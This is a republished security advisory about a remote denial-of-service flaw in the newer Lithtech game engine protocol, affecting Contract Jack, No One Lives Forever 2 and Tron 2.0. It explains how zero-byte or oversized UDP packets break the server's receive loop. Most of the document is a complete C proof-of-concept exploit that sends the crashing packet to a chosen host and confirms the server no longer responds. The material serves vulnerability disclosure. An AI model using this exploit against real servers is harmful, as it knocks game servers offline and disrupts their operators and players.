|
|
|
|
| |
The Lithtech engine is a game engine used by many games. Some of the latest games released and based on this engine use a network protocol different than all the others (probably they use a new version of the engine but naturally Luigi don't know all these details).
Just these latest games (all developed by Monolith) are those affected by a bug that allows attacker to cause the program to stop responding: Contract Jack (Nov 2003), No one lives forever 2 (Oct 2002) and Tron 2.0 (Aug 2003) (Other games might be affected as well). |
| |
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/lithsock-adv.txt
|
| |
Vulnerable Systems:
* Contract Jack version 1.1 and prior
* No one lives forever 2 version 1.3 and prior
* Tron 2.0 version 1.042 and prior
The new network protocol used by the Lithtech engine is composed by a loop used to handle all the UDP packets received.
A select() function with a time out of 30 seconds searches for new data into the socket's queue. If data is received or the socket goes in time out, a recvfrom() is called and its return value is checked to know if has happened an error. If there is a socket error, the game calls WSAGetLastError() to catch the error code and returns reaching a main check that is made ever before the usual select() function. This so-called "main check" simply controls that the error returned by WSAGetLastError() (and stored in a specific variable) is "Operation would block" (10035, the only type of error accepted to continue the listening loop).
If an attacker sends an UDP packet of zero bytes, recvfrom() returns this length and an instruction checks just if it is equal than zero. In this case the code flow returns to the "main check" that controls the error code (not set, so equal to zero) and since it is not 10035 exits from the loop that handles the socket's data.
After that, the server will be no longer able to receive packets because the loop is completely dead.
A similar problem happens if an attacker sends an UDP packet with a size major/equal than 8193 bytes (max data read by recvfrom()) and minor/equal than 12280 (otherwise select() doesn't catch it). The "main check" will fail as before because the error code will be different than 10035 (in fact it will be 10040, "Message too long").
Exploit:
/*
by Luigi Auriemma - http://aluigi.altervista.org/poc/lithsock.zip - SECU
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 27888
#define TIMEOUT 3
#define CHECK "\x10\x7f\x33\x01"
#define ZERO "" // 0 bytes, a cool bug
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
int info_proto(u_char *data);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ];
setbuf(stdout, NULL);
fputs("\n"
"Lithtech engine (new protocol) socket unreacheable "VER"\n"
" Contract Jack <= 1.1\n"
" No one lives forever 2 <= 1.3\n"
" Tron 2.0 <= 1.042\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n", argv[0], port);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- check if server is online\n", stdout);
SEND(CHECK);
if(timeout(sd) < 0) {
fputs("\nError: socket timeout, no reply received\n\n", stdout);
exit(1);
} else {
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();
if(memcmp(buff, CHECK, 3)) {
if(*buff == '\\') {
fputs("- received an information reply, seems you have specified a wrong port.\n"
" Try with a lower one\n", stdout);
} else {
fputs("\nError: unknown data received, this is none of the vulnerable games\n\n", stdout);
}
exit(1);
}
}
fputs("- send a ZERO bytes packet\n", stdout);
SEND(ZERO);
fputs("- wait one second\n", stdout);
sleep(ONESEC);
fputs("- check if the server is vulnerable:\n", stdout);
SEND(CHECK);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
|
|
|
|
|